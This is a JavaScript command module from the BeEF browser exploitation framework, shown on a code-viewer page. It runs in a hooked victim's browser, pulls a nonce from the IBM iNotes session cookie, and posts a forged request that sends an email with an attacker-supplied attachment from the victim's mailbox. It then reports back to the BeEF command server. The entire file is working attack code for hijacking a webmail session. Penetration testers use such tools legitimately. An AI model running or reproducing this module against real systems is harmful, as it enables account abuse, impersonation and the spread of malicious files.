Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn [email protected]
3
//
4
// Licensed under the Apache License, Version 2.0 (the "License");
5
// you may not use this file except in compliance with the License.
6
// You may obtain a copy of the License at
7
//
8
// http://www.apache.org/licenses/LICENSE-2.0
9
//
10
// Unless required by applicable law or agreed to in writing, software
11
// distributed under the License is distributed on an "AS IS" BASIS,
12
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13
// See the License for the specific language governing permissions and
14
// limitations under the License.
15
//
16
beef.execute(function() {
17
var to = "<%= @to %>";
18
var subject = "<%= @subject.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";
19
var body = "<%= @body.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";
20
var filename = "<%= @filename %>";
21
var filedata = "<%= @filedata %>";
22
23
//get URL for this nsf databse
24
var currentURL = document.URL;
25
var rx = /(.*\.nsf)/g;
26
27
try {
28
var arr = rx.exec(currentURL);
29
var notesURL = arr[1];
30
31
//extract nonce from ShimmerS-cookie
32
var cookies = document.cookie;
33
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
34
var arrc = rxc.exec(cookies);
35
var nonce = arrc[1];
36
37
var xhr = new XMLHttpRequest();
38
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
39
xhr.open("POST", uri, true);
40
xhr.withCredentials = true;
41
42
var boundary = "---------------------------32162600713994";
43
44
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
45
46
47
var post_data = boundary + "\r\n";
48
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
49
post_data += "\r\n";
50
post_data += nonce + "\r\n";
51
post_data += boundary + "\r\n";
52
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
53
post_data += "\r\n";
54
post_data += "h_Next\r\n";
55
post_data += boundary + "\r\n";
56
post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
57
post_data += "\r\n";
58
post_data += "[[./&Form=l_CallListener]]\r\n";
59
post_data += boundary + "\r\n";
60
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
61
post_data += "\r\n";
62
post_data += "h_ShimmerSendMail\r\n";
63
post_data += boundary + "\r\n";
64
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
65
post_data += "\r\n";
66
post_data += "1\r\n";
67
post_data += boundary + "\r\n";
68
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
69
post_data += "\r\n";
70
post_data += to + "\r\n";
71
post_data += boundary + "\r\n";
72
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
73
post_data += "\r\n";
74
post_data += "\r\n";
75
post_data += boundary + "\r\n";
76
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
77
post_data += "\r\n";
78
post_data += "\r\n";
79
post_data += boundary + "\r\n";
80
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
81
post_data += "\r\n";
82
post_data += body + "\r\n";
83
post_data += boundary + "\r\n";
84
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
85
post_data += "\r\n";
86
post_data += "1\r\n";
87
post_data += boundary + "\r\n";
88
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
89
post_data += "\r\n";
90
post_data += "Memo\r\n";
91
post_data += boundary + "\r\n";
92
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
93
post_data += "\r\n";
94
post_data += "0\r\n";
95
post_data += boundary + "\r\n";
96
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
97
post_data += "\r\n";
98
post_data += "1\r\n";
99
post_data += boundary + "\r\n";
100
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
101
post_data += "\r\n";
102
post_data += subject + "\r\n";
103
post_data += boundary + "\r\n";
104
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
105
post_data += "\r\n";
106
post_data += filedata + "\r\n";
107
post_data += boundary + "--";
108
xhr.sendAsBinary(post_data);
109
110
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
111
} catch(e) {
112
beef.debug("Error: " + e);
113
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error: ' + e);
114
}
115
});
116
117
118
119
120
121
122
123